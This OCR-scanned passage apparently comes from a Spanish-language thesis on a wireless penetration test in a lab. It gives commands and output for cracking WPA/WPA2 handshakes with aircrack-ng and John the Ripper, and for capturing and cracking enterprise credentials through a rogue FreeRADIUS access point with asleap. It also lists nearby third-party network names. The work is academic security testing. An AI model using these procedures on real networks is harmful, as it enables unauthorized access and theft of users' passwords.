64:66:83:C3:AD:C8  -G67 14 ] a 1 54e. WPAZ CCMP PSK Familia Robles Pacheco
CO:AQ:BB: 14 AE:02 -69 5 il 8 3 5de WPAZ CCMP PSK joel y jareth
FE:D1:11:4C:24:74  -71 4 il g 1 Sde. WPAZ CCMP PSK TP-Link-wifi
F8:01:11:84:28:E8 -71 2 0 0 5 Sde, WPAZ CCMP PSK  TVCABLEDERECK
AQ:F3:CLl:BO:9E:BC -72 5 a 2 11 54e. WPAZ CCMP PSK  TvCable Carles Aguirre

Figura 4.29 - Deteccion de redes disponibles

Una vez obtenido los datos de la red, se us6 el comando
<airodump-ng> con el cual se realiz la captura de paquetes,
con el fin de obtener la informacion deseada, en este caso el

proceso de autenticacion:

airodump-ng --bssid B8:A3:86:5A:2C:88 --channel 11

--write WPA_E-HackingLab monO

Se cred un archivo en donde se guardd toda la informacion
necesaria para poder obtener la clave WPA/WPA2, con el

parametro — Write <Nombre del archivo >.

Una vez ejecutado el comando <airodump-ng> se debe
esperar a que un cliente se conecte a la red, lo cual para saber
si se ha realizado el proceso de conexién se debe visualizar

como en la figura 4.30, la estacion asociada al punto de
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acceso, esto se puede comprobar ya que en la columna Probe

debe aparecer el SSID correspondiente a la red.

CH 11 ][ Elapsed: 5 mins ][ 2014-05-27 19:02 ][ wWPA handshake: B3:A3:E6:5A:2C:58
BESID PR RXQ  Beacons #Data, #/s CH MB  ENC CIPHER AUTH-ESSID
BE:A3:B6:5A:20:88 -2B B3 it 55 9 11 5de, WPA TRIP  PSK E-Hacking
BE5I0 STATION FuF. Rate Lost Frames Frobe
BE:AZ:B6:5A:2C:88 6L 23:B9:98:29:83 -29 2de- 1 g 64 E-Hacking

Figura 4.30 - Asociacion del cliente y el punto de acceso

En forma predeterminada el sistema operativo Backtrack
contiene pre-cargado un diccionario llamado darkcode.lIst, en la
figura 4.31 podemos observar la ruta predeterminada de este
diccionario. Cabe recalcar que se pueden utilizar un sin
namero de diccionarios que pueden llegar a pesar mas de 20

GB en texto.

root@bt:~# ls /pentest/passwords/wordlists/darkcode.lst

Figura 4.31 - Direccion del diccionario

Finalizado el proceso de autenticacion, cliente — Punto de

Acceso se crean varios archivos los cuales se usaron para
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descifrar la clave WPA/WPA2 mediante el uso de diccionario.

Estos archivos se pueden observar en la figura 4.32.

File EQit View Terminal Help

root@bt:~# 1s

Desktop WPA E-Hackinglab-0l.cap WPA E-HackingLab-81.kismet.csv
WEP CRACK WPA E-Hackinglab-0l.csv WPA E-Hackinglab-8l.kismet.netxml
rogt@bt:~#

Figura 4.32 - Archivos creados

En conjunto con el comando <aircrack-ng>, se afiade la ruta

del diccionario de la siguiente manera:

rootfbt:~# aircrack-ng WPA E-Hackinglab-8l.cap -w fpentest/passwords/wordlists/darkcdde.lst

En la figura 4.33 se pude observar el proceso de
comprobacién de clave El tiempo que tome este proceso

depende de los siguientes factores:

- Complejidad de contrasefia: combinacién de
nameros, letras, mindsculas, mayusculas y cualquier
otro caracter que haga mas compleja la contrasefa.

- El diccionario es leido linea por linea en orden,
buscando coincidencia de la palabra, en su contenido

y la clave. Entre mayor sea el tamafio del diccionario
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mayor sera el tiempo de busqueda, pero también sera
se tendra mas posibilidades de éxito.

- Si se trabaja en un equipo con poca capacidad de
memoria y/o procesador el tiempo de procesamiento

tardara mas.

ot

bting

Aircrack-ng 1.1 r21%8
{B2:08:59] 115397 keys tested [20939.78 kis)
KEY FOUND! [ Adminzals )

Hasker Key =90 28 16 3% 93 12 7% FO BS SA 3% 93 BT TF CA OB
40 63 A3 AD 72 51 23 30 EC Bl <8 9B 95 35 E5 92

Transicnt Key 3 B3 A7 €4 BH E@ TF 4@ 93 92 AF FI 24 2% 43 9C 14
E6 60 5F 33 42 4E OE EB 9C FE 53 B3 AQ 32 73 @0
IF 83 FA 4F 58 DB FE 7D ©C 25 2F 19 Fa B9 A4 24
=3 GG T4 BF DY 34 AR GA 09 84 2% A0 BF V@ 1A 47

EAPOL MMALC D X OTC 2D 99 78 CB 20 BE FC EG 4B 58 FE 17 {E &C

Figura 4.33 - Proceso de comprobacion de clave

Ataque Jhon The Ripper

John the Ripper es un software para descifrar claves de
manera muy rapida, identificando la debilidad de una clave. Es

capaz de analizar o entender diversos algoritmos tales como:

- DES, MD5, blowfish

- Kerberos, AFS
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- Hash LM ( Lan Manager ), sistema usado en Windows

NT/2000/XP/2003

Es posible mediante modulos adicionales el software pueda

trabajar con MD4, LDAP, MySQL.

Como en las pruebas anteriores, la interfaz inalambrica debe
ser iniciada en modo monitor para que sea capaz de capturar e

inyectar trafico en la red como se muestra en la figura 4.34.

™

root@bt:~# airmon-ng start wland

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name

1681 dheclient3

1787 dhclient3

Process with PID 1787 (dhelient3) is running on interface wland

Interface Chipset Driver

wlan@ Realtek RTLELSTL rtl8187 - [phya]
(monitor mode enabled on mon@)

Figura 4.34 - Interfaz modo monitor

En la figura 4.35 se muestra la salida del comando <airodum-
ng mon0> donde se visualizan todas las redes inalambricas y

los clientes asociados.
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A v ¥ rogh@bl -
File Edit Wiew Terrninal Help
CH 14 ][ Elapsed: 56 s ][ 2014-07-09 17:40
B551D Pt Beacans #hata, #¢s CH ME EMC CIPHER AUTH ESSID
00:34:99:70:6A:00 -1 ] 3 0133 -1 OPN =length: 0=
a3:21:03:C1:10:E8 -1 il a Q153 -1 =length:__d=
BE:A3:86:5A:2C:88 -29 GE a 0 11 5S4e. WPAZ TKIP _—PSE—E-Hacking 1y
Q0210392086 F0  -47 36 1123 1 1 34 . 0fN ESFIL 3 ey
CE:9C: 1D:ARBE:IL  -42 31 B9 11 S4e, WPA THIP  PSK CIB laptcp . “\\\
CE:9C:10:AAEBE:ID  -43 26 593 3 11 54 . 0PN _ESPOL T
06:21:03:92:86:F1 -43 35 a 4 1 S4e. WPA TKIP PSE CIB laptop
D41 ABIZAI99:BB: 7D 47 25 5% @ 3 54c. WEF WEP Hunicipio-Gye
CE:9C: 1D AAIDOF:2A <61 4 2308 1 54 . 0PN ESFOL
G6:21:08:05:1F:09 -6 5 16 4 11 %4 . 0PN ESFOL
4@ 23:5E:79:F3:18 -6 i ] 5 4 183 -1 OFN <length: @a=
a@:21:03:05:1F:81 70 ] g 4 11 54c. WA TKIFP  PSK CIE laptop
G6:21:05:49:98:61  -71 3 B8 11 %4c. WPA TRIP  PSK CIB laptop
g6:21:05:49:098:60 71 1 13 4 11 %% . oPN ESPIL —_—
[2] | F -
B5510 r_S}'.ﬂ.Tm‘f = g_—_-:_ui'?i'?f.l;:ijahlz._//—rLost F_r?li-:a r-.f_rphre_—:_.,l | y 4 [ —
e o | ,==u ! o
a0:38:99: FaneacoBnac re AL 00225 el e e, 0 L3l (T L "W )
i v Oy N S Y .11

Figura 4.35 - Informacion de redes disponibles

Se toma la direccion MAC del punto de acceso del cual se
empezd a monitorear como se muestra en la figura 4.36. La
informacion visualizada consta del nombre de la red, el tipo de
cifrado y la potencia de sefal, datos que son fundamentales

para proceder o realizar el ataque.

* roob@bt: ~
File Edit View Terminal Help

CH & ][ Elapsed: 1 min ][ 2014-07-09 17:41

B55I0 PrR  Beacons #hata, #/s CH ME  ENC CIPHER ANTH ESSID
B8:21:DB:CO:F7:C0 =1 <] 1) B 133 -1 <length: @=
Q0:3A:99:70:0A:00 -1 o 3 6133 -1 OPN <length: 0=
BE8TAIZB6:5AT2C BB R 111 & B 11 S4e. wPA2 TRIP _ PFSH—E-Hacking

A v roob@bt ~
File Edit View Terminal Help
rootEbt:~# airodump-ng -bssid BE:A3:86:5A:2C:88 -channel 11 -write DEMOCTack WPA mond

Figura 4.36 - Proceso de obtencion de informacion de la red inalambrica
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La asociacion del punto de acceso y el cliente se puede
comprobar verificando el campo “Probe”. Si aparece el SSID,

la asociacion ha tenido éxito. Podemos observar que esto es lo

gue sucede en la figura 4.37.

root@bt: ~
File Edit View Terminal Help

CH 11 ][ Elapsed: 1 min )[ 2814-87-88 13:52 |[ WPA handshake: BS:A3:86:5A:2C:8

BSSID FitR RXQ EBeacons #Data, #/= C(H M8 ENC CIPHER AUTH E
BE:A3Z:BG:5A:2C:BE -33 956 Q|7 78 8 11 354e. WPAZ CCHMP PSK E
BasID ) STATION ~ PWR  Rate Lost Frames Probe

BE:A3:86:54: 2088 Gl 232689: 98:24:B3) 52  36e- L -] it E-Hacking

Figura 4.37 - Asociacion del cliente con el punto de acceso

Para determinar si se ha capturado la informacién necesaria se
ejecuta el comando <aircrack-ng> <Nombre del archivo
creado> como se muestra en la figura 4.38, en donde

podemos observar informacion como:

BSSID: direccion MAC del punto de acceso
- ESSID: nombre de la red,
- Encryption o cifrado: muestra el tipo de cifrado

- Adicionalmente muestra que se ha realzado la

negociacion con éxito (handshake).
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rootZbt:~# alrcrack-ng DEMOCrack WPA-DL.cap
Opening DEMOCrack WRA-@l.cap
Read 42579 packets.
# BSsID ESSID Encryption
1 B8:A3:8b6:5A:20:88 E-Hacking WPA (1 handshake)

Choosing first network as target.

Opening DEMOCrack WPA-01.cap
Please specify a dictionary {option -w).

Quitting aircrack-ng..h

Figura 4.38 - Visualizacion del archivo capturado con el Handshake

En la figura 4.39 se detalla la ruta predeterminada de John the
Ripper que viene ya cargado en el sistema operativo
Backtrack. Para descifrar claves se puede usar los archivos

predeterminados de John the Ripper:
- All.char: todos los caracteres seran usados
- Alpha.chr: caracteres alfanuméricos
- Alnum: combinacién de numeros

- Password.Ist: contrasefias mas comunes
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~ w | ¥ root@bt: fpentestfpasswords/john
File Edit View Terminal Help

rootiEbt: fpentest/passwords# 1s

acccheck hashecat manglefizz phrasendrescher sucrack
cewl hashcat-gui multifoercer pipal truecrack
cmospwd hashecat-utils oclhasheat rainbewcrack twofi
creddump hash-identifier oclhashcat+ rainbowcrack-mt wce
crunch john oclhashcat-lite sipcrack wordlists
cupp johnny pack smbexec

findmyhash keimpx patator statsprocessor

rooctibt: fpentest/passwords# cd john
roct@bt: fpentest/passwords/john# 1s

all.chr hccap2john netscreen.py sha-dump.pl
alnum.chr john odf2john.py sha-test.pl
alpha.chr john.bash_completion pass_gen.pl sipdump2john. py
benchmark-unify john.conf password.lst ssh2john
calc_stat john.local.conf pdf2john stats
cracfzjohn.py john-x86-64 pusafe2john tgtsnarf
dictionary.rfc2865 keepasszjohn racfzjohn unafs
digits.chr — lanman.chr - radius2john.pl undrop

doc ldif2john.pl rar2john unique
dumbl6. conf “lionZjohn-altvpl " raw2dyna’ 1 Tlaunshadow
dumb32<conf Llion2john.pl README zipzjeohn
dynamicgonf . /mailer . % README-jumbo,
genincstats.rb mkvcalcproba— © * relbench

genmkvpwd netntlm.pl sap2john.pl

root@bt: /pentest/passwords/john# ]

Figura 4.39 - Localizacion de John the Ripper

En la figura 4.40 se muestra el proceso que ejecuta John the
Ripper para la verificacion de claves. Ejecutando el siguiente
comando se procesoO el archivo con todos los caracteres y
posibles combinaciones, este proceso se ejecutara hasta que
se muestre un mensaje indicando que se ha encontrado la

contrasena:

. 1John —incremental=all.chr —stdout | aircrack-ng —

w /root/DEMOCrack_WPA-01.cap —e E-Hacking



~ w | ¥ [root@bt: fpentest/passwordsfjohn
File Edit view Terminal Help

Alrcrack-ng 1.1 r2178

[99:09:03] 4796 keys tested (1435.32

Current passphrase: cangelic

Haster Key v 70
BB

Transient Key : BC
6
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D7

EAPOL HMAC ¢ BT
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Figura 4.40 - Proceso de verificacion de claves con John the Ripper

La capacidad de procesamiento debe ser lo suficientemente
alta para que el proceso de descifrado sea lo mas rapido
posible. En la figura 4.41 se puede observar que el consumo

del procesador llega a un 100% de su capacidad, sin embargo

la memoria no sufre una sobrecarga como el procesador.
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System Monitor

System Procma‘ Resources ‘ File Systems

CPU History
100 % ,, ...... — thessestttittt i asaets

0 % i J

02 vorontn

[ cpul 100.0% [ cPu2 99.0% [ CPU3 100.0% [ CPU4 100.0%

Memory and Swap History

00| -

Memory ~ Swap
3343 MiB(5.6%)of 58GIB 0 bytes (0.0 %) of 6.1 GiB

Network History
10 K85
10 6@ i é i -
DOKEA  ............ P AU SN A3 Wi O S e e
&) seconm o 28 0 n 16
@ Receiving 0 bytes/s 4 Sending 0 bytesjs
Total Received 5.1 MiB Total Sent 183.7 KiB

Figura 4.41 - Monitoreo del uso del procesador

Finalizado el proceso, se mostré una ventana similar a la que
se genero con <aircrack-ng>. El resultado de la comprobacién

se puede observar en la figura 4.42.

La informacion mostrada sera: la clave descifrada, la cantidad
de claves comprobadas y el tiempo que tomo todo el proceso

lo cual dependera de los factores antes mencionados.

Con las pruebas realizadas tanto, con aircrack como John the

Ripper se demuestra que es posible obtener claves
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WPA/WPA2, pero todo dependera si el escenario y las

herramientas son las adecuadas para realizar esta tarea.

~ ~ ¥ root@bt: ~
File Edit View Terminal Help

Aircrack-ng 1.1 r2178
[80:06:44] 278984 keys tested (756.84 k/s)

KEY"FQUND! [ administrator ]
Master Key + AF CD C FA F2 13 F9 D2.F4 93 BF 5A E3 23 1B 02
E4 E6 64 D3 B3 18 63 FB E9 A6 C9 96 FF 9D FD 3B
Transient Key : DA 40 F2 BT 63 83 CC BY 18 51 A5 Bl B2 CD OA FB
89 AB 64 18 53 C3 29 26 55 5B DC 98 BB 18 2C 76
@7 CB DD1D-87-1F ED 3E 36 CC 63 14 AG E3 32 12
@7 45 4D 5F ES 93 A9 90704 2F CO GE 99 20 BC BB

EAPOL HMAC : EF 9F DB FC 9C 90 93" 8B.D7.6C A4 Al 96 FC 82 C7

Figura 4.42 - Finalizacion de comprobacion de claves

4.4.3. RADIUS: PAP

Los administradores de sistemas para asegurar la red
inalambrica en ambientes empresariales usan servidores de
autenticacion como RADIUS, en conjunto con Active Directory,
pero si se deja mal configurado el servidor RADIUS este podria
representar un gran riesgo para toda la infraestructura
empresarial. La figura 4.43 muestra un ejemplo de una red

empresarial.
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Dominio o red empresarial

Q)

I!!g AP

Servidor Radius SSID: testAP
PEAP
PEAP

EAP-TTLS l————————i

Tablet Cliente

AP Falso
551D: testAP

T

Atacante

—

Figura 4.43 - Diagrama de red: autenticacién RADIUS PAP

En esta seccion se demuestra como es posible obtener las
credenciales de acceso en el proceso de autenticacién con un
servidor RADIUS con una configuracion poco segura, es decir
sin verificar el certificado digital 0 que no posea conexidn a una
entidad certificadora. Para estas pruebas se utliza el
FreeRadius que en forma predeterminada se encuentra en la

distribucion Linux Backtrack.

Existe un archivo en el cual se puede cambiar el método de
autenticacion para que obligue al cliente utilizar EAP-GTC, un

método de autenticacion que no cifra la informacion y la envia
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por el medio en texto plano. En la figura 4.44 se puede

observar este archivo de configuracion.

eap {

default eap type = peap

timer expire = 60

ignore unknown eap types = no

cisco accounting username bug = yes

mds {

}

leap {

}

gtc {
auth type = PAP

}

tls {
private key password = whatever
private key file = ${raddbdir}/certs/server.pem
certificate file = ${raddbdir}/certs/server.pem
ca file = ${raddbdir}/certs/ca.pem
dh file = ${raddbdir}/certs/dh
random file = ${raddbdir}/certs/random
fragment size = 10824
include length = yes

}

ttls {

}

peap {
#default eap type = mschapv2
default eap type = gtc
copy _request to tunnel = no
use_tunneled reply = no

Lproxy tunneled request 35 eap = yes |
}
mschapv? {
Figura 4.44 - Configuracion de archivo: autenticaciones RADIUS

Al ejecutar los procesos del RADIUS para la captura de las

credenciales del cliente, estas se envian hacia el punto de

acceso en texto plano. En la figura 4.45 se muestra el proceso

mencionado.



73

[~ v x root@bt: ~

File Edit View Terminal Help

[ttls] processing EAP-TLS
[ttls] eaptls verify returned 7
[ttls] Done initial handshake
[ttls] eaptls process returned 7
[ttls] Session established. Proceeding to-decode-tunneled attributy
[ttls] Got tunneled reguest
User-Name = "KarenfAguirre”
User-Password = “"ESPOL2814"°
FreeRADIUS-Proxied-To = 127.0.0.1
[ttls] Sending tunneled request
User-Name = "KarenAguirre"
User-Password = "ESPOLZ014"
FreeRADIUS-Proxied-To = 127.0.0.1
server {
# Executing section authorize from file fusr/local/setc/raddb/sites-q
1t
+- entering group authorize {...}
++[preprocess] returns ok
++[chap] returns noop
++[mschap] returns noop
[Buffix]=No '@7in User-Name== PKarenAguirre®;slooking up realm NULL
[suffix] No such realm "NULL"
++[suffix] returns noop

Figura 4.45 - Obtencion de credenciales en texto plano

4.4.4. RADIUS: PEAP

PEAP utiliza certificados del lado del servidor para la
validacion del servidor RADIUS. Casi todos los ataques contra
PEAP aprovechan errores de configuracion en la validacion de

certificados [13].

Para configurar un servidor RADIUS falso es necesario
conectar un ruteador inalambrico y asignar una direccion IP

dinamica por medio del comando <dhclient> a la interfaz
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conectada, la cual sera usada por el servidor. En la figura 4.46

se puede observar el proceso de obtencion de una direccion

IP.

~ ~ | ¥ root@bt: ~
File Edit View Terminal Help

rootibt:~# dhclient3 ethé

There is already a pid file /var/run/dhclient.pid with pid 2435
killed old client process, removed PID file

Internet Systems Consortium DHCP Client V3.1.3

Copyright 2004-2009 Internet Systems Consortium.

All rights reserved.

For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/ethB8/00:8c:29:7d:e9:0f

Sending on  LPF/eth9/00:0c:29:7d:e9:0f

Sending on  Socket/fallback

|DHCPREQUEST of 192.168.1.101 | on eth® to 255.255.255.255 port 67
DHCPACK of 192.168.1.101 from 192.168.211.254

bound to 192.168.1.181 -- renewal in 845 seconds.

rootEbt:~#

Figura 4.46 - Proceso de obtencion de direccion IP mediante DHCP

Una vez obtenida la direccion IP por dhcp se configura el punto
de acceso con la misma direccion IP. La figura 4.47 muestra la
configuracion del ruteador para que apunte a esta IP como

servidor RADIUS.
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st [ @ 192.168.1.1/wir v &| 2§ coQ

ick Linux [ offensive Security KBExploit-DB Wy Aircrack-ng il SomaF

n WPA enterprise is enabled, the router uses EAP (802.1x) to authenticale clients via a
pte RADIUS server MAC Address Authentication

RADIUS server IP Address § |19 188 1101 |

PIUS server Shared Secret: (L., |
\C Address Authentication:

Authentication Timeout : g (minutes)

RADIUS server Port: [i512

Figura 4.47 - Configuracion de un ruteador como servidor RADIUS

Para comprobar que la direccién IP este asignada a una interfaz
de red se utiliza el comando <ifconfig> el cual permite
visualizar informacion de la interfaz configurada. La salida de

este comando se visualiza en la figura 4.48.

root

ethl

Gbt:-# ifconfig

Link encap:Ethernet HWaddr 00:0c:29:46:2d:b3

inet addr:192.168.1.101 Bcast:192.168.1.255 Mask:255.255.255.0
ineth addr: fe80::20c:2977:Tedb:2db3/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:1

R packets:542 errors:9 dropped:0 overruns:0 frame:@

T¥ packets:53 errors:0 dropped:0 overruns:0 carrier:0
collisions:@ txqueuelen:1000

R bytes:49819 (49.8& KB) TX bytes:7034 (7.0 KB}

Interrupt:19 Base address:0x2000

Figura 4.48 - Verificacion de la interfaz de red
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En la ruta mostrada en la figura 4.49 se encuentran todos los

archivos necesarios para la configuracion

FreeRadius

del servidor

rootEbt: fusr/local/etc/ra
acct users

attrs

attrs.access challenge
attrs.access reject
atirs.accounting response
attrs.pre-proxy

certs

rootibt: fusr/local/ete/ra

ddb# 1s

clients.conf ldap.attrmap
dictionary modules
eap.conf policy.conft
example.pl policy.txt
experimental.conf preproxy users
hints proxy.conf
huntgroups radiusd.conf
ddbs

sites-available
sites-enabled
=gl

sql.conf
sqlippool.conf
templates.conf
Users

Figura 4.49 - Archivos de configuracién

Unos de los archivos a configurar es el eap.conf que contiene

los métodos de autenticacion de Radius para el cliente. En este

caso se verifica que se esté usando el método PEAP que viene

configurado de manera predeterminada en el FreeRadius como

podemos obse

rvar en la figura 4.50.

eap 1

cisco ac
mdS {

}

leap {

}

gte {

}
tls {

default eap type = peap I .
i .

ignorE_unknown_eap_types = no

counting username bug = yes eap.conf

auth_type = PAP

private key password = whatever
private key file = ${raddbdir}/certs/server.pem
certificate file = ${raddbdir}/certs/server.pem
cA file = ${raddbdir}/certs/ca.pem

dh file = ${raddbdir}/certs/dh

random file = ${raddbdir}/certs/random
fragment_size = 1024

include length = yes

Figura 4.50 - Configuracion del archivo EAP.conf: autenticacion RADIUS
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El archivo client.conf muestra la lista de clientes (segmentos
de red) que pueden conectarse al servidor RADIUS. La

configuracion de este archivo la podemos observar en la figura

4.51.
#per _socket clients {
# client 192.168.3.4 {
# secret = testingl23
# }
#}
client 192.168.8.8/16 {
secret = hack|
shortname = testAP
+
[ of W8 = | /N 1 s L+ O P 7 W
secret = test
shortname = testAP
}
client 10.8.0.8/8 {
secret = test
shortname = testAP
}
#client 127.0.0.1 {
# secret = test
# shortname = testAP
#}

Figura 4.51 - Configuracién del archivo client.conf: segmentos de red

Antes de ejecutar el servicio de autenticacion de RADIUS se
debe crear el archivo de registro para poder almacenar la
informacion o negociacion entre el cliente y el punto de

acceso, 0 esperar a que se realice una conexion para que el
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archivo de registro se cree automaticamente. EI comando para

la creacion de este archivo se muestra en la figura 4.52.

My

W

T rnnt@ht:. rJ'u.sr,FIr.'iul':aI‘F'q.ll'ar,’lt:lug,||'ra|t:|ius
File Edit View Terminal Help

usr/local/var/log/radius# touch freeradius-server-wpe.log

Figura 4.52 - Creacion del archivo de registro

En la figura 4.53 podemos observar cdmo se inicia el servidor

RADIUS una vez configurados los archivos. Si todo se

encuentra bien configurado mostrara el estado “Listo para

procesar reguerimientos”.

root@bt:/usr/local/etc/raddb# radiusd -s -X

radiusd: #### Opening IP addresses and Ports #8##

listen {
type = "auth”
ipaddr = =
port = @

}

Listen {
type = "acct"
ipaddr = =
port = @

listen {
type = "control"

listen {

socket = “fusr/local/var/run/radiusd/radiusd. sock”
}

}
. adding new socket proxy address * port 58933
Listening on authentication address * port 1812
Listening on accounting address = port 1813
Listening on command file fusr/localfvar/run/radiusdy/radiusd.sock
Listening on proxyladdressy: portilgl4
Readysto process requestss

Figura 4.53 - Inicio del Servidor RADIUS
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Cuando se esté ejecutando el servidor RADIUS, se realiza un
seguimiento del archivo de registro, el cual contiene
informacion de la conexion entre ambos puntos, (cliente y
servidor). En la figura 4.54 se observa que entre esa
informacion podemos encontrar el usuario, el desafio y la

respuesta.

root@bi:

mschap:

~# tail -7 fusr/local/var/log/radius/freeradius-seryer-wpe.log -n @
SatyJOU 5 20711:15/2014
usernamszlkaren

challenge: fb:6d:c2:fo:b5:51:79:7d
response: 9:7d:13:9d:32:43:99:13:75:33:¢€2:51:33:¢9:79:d0:d1: f8+5arac:d9

126:ef:ee

Figura 4.54 - Captura de credenciales mediante archivo de registro

Al ejecutar el comando asleep con los datos adquiridos, se
uso6 el diccionario por defecto pre-cargado en el sistema. El
proceso demora segun la complejidad de la clave vy si esta
encuentra coincidencia en el diccionario. Es posible usar
diversos diccionarios en diferentes idiomas o diccionarios que
contengan las claves mas usadas. En la figura 4.55 se muestra

un ejemplo del uso del asleep y el resultado que se obtiene.
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rastibt:~#F asleap -C Th:6d;e2: 19 B5:51:79:7d -R f9:7d:13:9d:32:42:99:123:75:33:¢2: 515330007900 01 : 132 58 a0 1 09: 263
efiee -W fpentest/passwordsfwardlists/darkeade, 1st

asleap 2.2 - actively recover LEAR/PRTP passwords. <jwrightghasborg.cons

Using wordlist mode with "/pentest/passwords/wordlists/darkcade, lst”,

hash-bytes: =1Bdd ) ;
NT hash; F2ed87bdbsfdc Se0cbaERs 73768 184
| password: | 123456

Figura 4.55 - Proceso de obtencion de clave

4.4.5. RADIUS: EAP-TTLS

En EAP-TTLS (EAP-TUnel Transport Layer Security), el
servidor se autentica con un certificado. El cliente que desee
puede usar el certificado también. Desafortunadamente, esto
no tiene soporte nativo en versiones anteriores a Windows 8

por lo cual es necesario el uso utilidades de terceros.

Existen multiples opciones de protocolo de autenticacion que
se pueden utilizar con EAP-TTLS. ElI mas comun es nuevo

MSCHAP-v2. [13].

En el archivo eap.conf solo se realiza el cambio del tipo
protocolo de autenticacion. La figura 4.56 muestra el archivo

eap.conf modificado para usar EAP-GTC.




eap {

default eap type = peap

timer_expire = 60

ignore_unknown _eap_types = no

cisco accounting username bug = yes

mds {

}

leap {

}

gtec {
auth type = pap

}

tls {
private key password = whatever
private key file = ${raddbdir}/certs/server.pem
certificate file = ${raddbdir}/certs/server.pem
cA file = ${raddbdir}/certs/ca.pem
dh_file = ${raddbdir}/certs/dh
random file = ${raddbdir}/certs/random
fragment size = 1024
include length = yes

}

ttls {

}

peap {
default eap type = mschapv2
copy request to tunnel = no
use tunneled reply = no
proxy tunneled reguest as eap = yes

}

mschapv2 {

1

Como en versiones anteriores a Windows 8 no tiene

Figura 4.56 - Modificacion del archivo eap.conf
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la

posibilidad de usar TTLS con MSCHAPV2 se puede comprobar

la configuracion en dispositivos Apple o con un software

suplicante para la autenticacion. En la figura 4.57 se muestra

la configuracion de Windows para usar un software suplicante.
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Tipo de seguridad: [WPA-Enterprise ']
Tipo de cifrado: [AES ']

Elija un método de autenticacion de red:
[SecureWZ: SecureW2 EAP-TTLS v] [ Configuracion

["|Recordar mis credenciales para esta conexidn cada
Vez gue inicie sesidn

Configuracion avanzada

Aceptar ][ Cancelar

Figura 4.57 - Propiedades de red: configuracion en cliente

En este caso se usara para la demostracion el software
llamado Secure W2, el cual permite usar varios protocolos de
autenticacion en este caso el MSCHAPv2. Una vez
configurado el cliente esta habilitado para poder conectarse al
punto de acceso e ingresar sus credenciales. En la figura 4.58

se muestra el SecureW2 configurado para MSCHAPV2.



" Enterprise Client - DEFAULT £
\..—_..,/
SecureW2
Conexidn | Certificados  Autenticacién l Cuenta de usuario ]
Método Autenticacién: | MSCHAPY2 =l
| =]
Avanzado Aceptar Cancelar
.
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Credenciales SecureW2

Introduzca sus credenciales:

=
SecureW2

Usuario: | Karen

Contrasefia: |

Dominio: |

I Guardar credendales de usuario

Aceptar Cancelar

Figura 4.58 - Software suplicante de autenticaciéon: configurado para MSCHAPv2

El atacante puede duplicar el nombre del punto de acceso,

haciendo que el cliente no note la diferencia entre los nombres

de las redes. Muchos usuarios suelen conectarse a la primera

red disponible haciendo que sus credenciales sean facilmente

robadas. Estas credenciales pueden ser también para la

autenticacion en Active Directory lo cual hace mas peligroso

que el usuario y la contrasefia sean tomados por algun

atacante en la red. La figura 4.59 muestra un escenario de red

atacado mediante un AP falso.
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E fil
AP

Servidor Radius SSID: testAP

AP Falso

Atssate SSID: testAP

== I

Tablet Cliente

root@bt:~# tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

mschap: Tue Jul 8 08:48:46 2014
username: Karen
challenge: 22:c1:f2:ce:de:b1:97:d9
response: 72:cc:82:48:27:4f:fc:c2:d6:al:4e:18:1b:99: 1f:f9:€2:93:22:¢5:11:eb:a7:db

Figura 4.59 - Diagrama de red: obtencién de credenciales

Al igual que en el proceso de obtencién de clave en PEAP, el
procedimiento se repite, se hace el uso del comando asleep
seguido de las credenciales obtenidas que se encuentran
cifradas. Al finalizar el proceso se muestra la contraseiia del

usuario correspondiente como se muestra en la figura 4.60.

~ % root@bt: ~

File Edit View Terminal Help

rootibt:-# asleap -C 22:¢1:f2;cesde;bl:97:d9 -R 72:CC:B2:48:37:4F o2 db:al:de: 181059911 19:02:93:22:¢5: 11

:eb:af:db -W Jpentest/passwordswardlists/darkcdde. st e R

asleap 2.2 - actively recover LEAPSPPTP passwards. <jwrightihasbarg.coms == ) -

Using wordlist mode with “/pentestsfpasswords/wordlists/darkcOde.lst”. i \
hash bytes: daaf - o —h,
NT hash: d3c12248a16ccd60edb9406caaTdadf A
password: Aguirre !

rootibtz=a

Figura 4.60 - Proceso de obtencion de clave MSCHAPv2
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4.5. RESULTADOS DEL TEST DE PENETRACION

Se comenzd probando los sistemas que actualmente se consideran
menos seguros como el SSID oculto y el filtrado MAC. En ambos
casos el proceso consiste en observar los paquetes que se
transmiten entre un cliente legitimo y el punto de acceso. En este
procedimiento se pudo observar que la informacién requerida (SSID
y direccion MAC) se mostraba en texto plano por lo que no se
requiere ningun procesamiento adicional, esto le da un 100% de
probabilidades de éxito al ataque. Sin embargo, uno de los
inconvenientes que se pudo detectar es que para capturar ésta
informacion es necesario que al menos un cliente legitimo esté

conectado a la red.

Para comprobar la seguridad de WEP se realizaron varias pruebas
en donde se usaron algunas contrasefias de diferentes longitudes y
complejidad como “diego”, “gwertyuiopasd”, “municipio2011” vy
‘k5l4d7hald4gw”. En todos los casos se obtuvo con éxito la
contrasefa en diferentes tiempos que van desde los 2 hasta los 5
minutos. La complejidad de la contraseiia no afecto la velocidad de
obtencién de la contrasefia, sin embargo se pudo observar que
cuando la calidad de la sefial no era optima se producia perdida de
paguetes lo que si generd un aumento en el tiempo que tardo la

herramienta obtener la contrasena.
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Las pruebas con WPA/WPAZ2 fueron realizadas mediante ataques de
diccionario, que es el Unico tipo de ataque posible contra WPA/WPA2
en la actualidad. Se probaron contrasefias sencillas como “qwerty”,
“12345678”, “administrator” y contrasenas que se sabia que estaban
dentro del diccionario como “Admin2014”. En estas pruebas se pudo
obtener las contrasefias en tiempos diferentes desde 1 hasta 15
minutos. Al comprobar otras contrasefias no comunes 0 mMAas
complejas como “k5l4d7ha” no fue posible obtener la contrasefia
luego de recorrer todo el diccionario, proceso que tardd 4 horas con
18 minutos. Un dato importante que se pudo observar es la velocidad
de comprobacién de claves que llevo a ser de 1920 clave por

segundo.

En el caso de las autenticaciones basadas en RADIUS el ataque va
dirigido a los clientes por medio de puntos de acceso falso. Se hizo
pruebas con varias configuraciones de seguridad diferentes en la
conexion inaldmbrica de los clientes. Cuando la opcién de verificar el
certificado del servidor estuvo deshabilitada, el cliente se conecto al
punto de acceso falso sin problemas permitiendo capturar el hash
enviado por el cliente que luego pudo ser usado para realizar
ataques de diccionario sobre él. Cuando la opcion de verificar el
certificado de servidor estuvo habilitada, pero no se especificd la

entidad de certificacion de confianza, el usuario al intentar conectarse
